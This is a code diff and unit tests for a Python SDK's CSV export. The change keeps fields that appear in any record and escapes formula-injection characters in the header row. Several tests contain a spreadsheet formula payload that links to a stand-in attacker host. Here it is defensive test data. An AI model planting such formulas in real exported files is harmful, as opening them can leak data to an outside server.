fix: keep all fields and sanitize the CSV header in export_csv

src/brightdata/datasets/utils.py

@@ -81,11 +81,13 @@ def export_csv(
     Args:
         data: List of records from download()
         filepath: Output file path
-        fields: Specific fields to export (default: all fields from first record)
+        fields: Specific fields to export (default: every field seen across all
+            records, in first-seen order)
         flatten_nested: Convert nested objects/arrays to JSON strings (default: True)
-        sanitize: Escape cell values that would be interpreted as formulas by
-            spreadsheet applications (leading '=', '+', '-', '@', tab, or CR),
-            preventing CSV/formula injection (CWE-1236). Default: True.
+        sanitize: Escape header and cell values that would be interpreted as
+            formulas by spreadsheet applications (leading '=', '+', '-', '@',
+            tab, or CR), preventing CSV/formula injection (CWE-1236).
+            Default: True.
 
     Returns:
         Path to the created file
@@ -97,9 +99,11 @@ def export_csv(
 
     filepath = Path(filepath)
 
-    # Determine fields
+    # Determine fields. Scraped records are heterogeneous: optional keys are
+    # absent when a page does not have them, so the union across all records
+    # is used, in first-seen order, rather than just the first record's keys.
     if fields is None:
-        fields = list(data[0].keys())
+        fields = list(dict.fromkeys(key for record in data for key in record))
 
     # Process data
     processed_data = []
@@ -117,7 +121,12 @@ def export_csv(
     # Write CSV
     with open(filepath, "w", newline="", encoding="utf-8") as f:
         writer = csv.DictWriter(f, fieldnames=fields)
-        writer.writeheader()
+        if sanitize:
+            # Field names come from the scraped payload too, so the header row
+            # needs the same treatment as the cells below it.
+            writer.writerow({field: _sanitize_csv_cell(field) for field in fields})
+        else:
+            writer.writeheader()
         writer.writerows(processed_data)
 
     return filepath

tests/unit/test_datasets_export_csv.py

@@ -98,6 +98,36 @@ def test_all_documented_trigger_characters_are_escaped(self, tmp_path, trigger):
 
         assert rows[0]["name"] == f"'{trigger}payload"
 
+    def test_header_row_is_sanitized(self, tmp_path):
+        # Field names come from the scraped payload, so a formula can arrive as
+        # a key. Sanitizing only the cells leaves the header cell executable.
+        payload = '=HYPERLINK("https://attacker.example/leak","x")'
+        data = [{payload: "safe", "ok": "plain"}]
+        filepath = export_csv(data, tmp_path / "out.csv")
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            header = next(csv.reader(f))
+
+        assert header == ["'" + payload, "ok"]
+
+    def test_header_row_is_untouched_when_sanitize_is_false(self, tmp_path):
+        payload = '=HYPERLINK("https://attacker.example/leak","x")'
+        filepath = export_csv([{payload: "safe"}], tmp_path / "out.csv", sanitize=False)
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            header = next(csv.reader(f))
+
+        assert header == [payload]
+
+    def test_explicit_fields_are_sanitized_too(self, tmp_path):
+        payload = "@SUM(1,1)"
+        filepath = export_csv([{payload: "safe"}], tmp_path / "out.csv", fields=[payload])
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            header = next(csv.reader(f))
+
+        assert header == ["'" + payload]
+
     def test_export_auto_detect_forwards_sanitize_kwarg(self, tmp_path):
         payload = '=HYPERLINK("https://attacker.example/leak","x")'
         data = [{"name": payload}]

tests/unit/test_datasets_export_csv_fields.py

@@ -0,0 +1,59 @@
+"""
+Tests for column selection in export_csv.
+
+Scraper output is heterogeneous: an optional field is simply absent when a
+page does not have it. The column list therefore has to come from every
+record, not just the first one, or those values are dropped with no error.
+"""
+
+import csv
+
+from brightdata.datasets.utils import export_csv
+
+
+class TestExportCsvFields:
+    def test_fields_missing_from_the_first_record_are_kept(self, tmp_path):
+        data = [
+            {"url": "a.com", "price": 10},
+            {"url": "b.com", "price": 20, "discount": "50%"},
+        ]
+        filepath = export_csv(data, tmp_path / "out.csv")
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            reader = csv.DictReader(f)
+            assert reader.fieldnames == ["url", "price", "discount"]
+            rows = list(reader)
+
+        assert rows[0]["discount"] == ""
+        assert rows[1]["discount"] == "50%"
+
+    def test_column_order_follows_first_appearance(self, tmp_path):
+        data = [
+            {"b": 1, "a": 2},
+            {"c": 3, "a": 4},
+            {"d": 5},
+        ]
+        filepath = export_csv(data, tmp_path / "out.csv")
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            assert next(csv.reader(f)) == ["b", "a", "c", "d"]
+
+    def test_explicit_fields_still_win(self, tmp_path):
+        data = [{"url": "a.com", "price": 10}, {"url": "b.com", "discount": "50%"}]
+        filepath = export_csv(data, tmp_path / "out.csv", fields=["url"])
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            reader = csv.DictReader(f)
+            assert reader.fieldnames == ["url"]
+            assert [row["url"] for row in reader] == ["a.com", "b.com"]
+
+    def test_matches_what_jsonl_would_have_kept(self, tmp_path):
+        # The same result set must not lose keys just because the caller picked
+        # CSV over JSONL.
+        data = [{"url": "a.com"}, {"url": "b.com", "discount": "50%"}]
+        filepath = export_csv(data, tmp_path / "out.csv")
+
+        with open(filepath, newline="", encoding="utf-8") as f:
+            columns = set(next(csv.reader(f)))
+
+        assert columns == {key for record in data for key in record}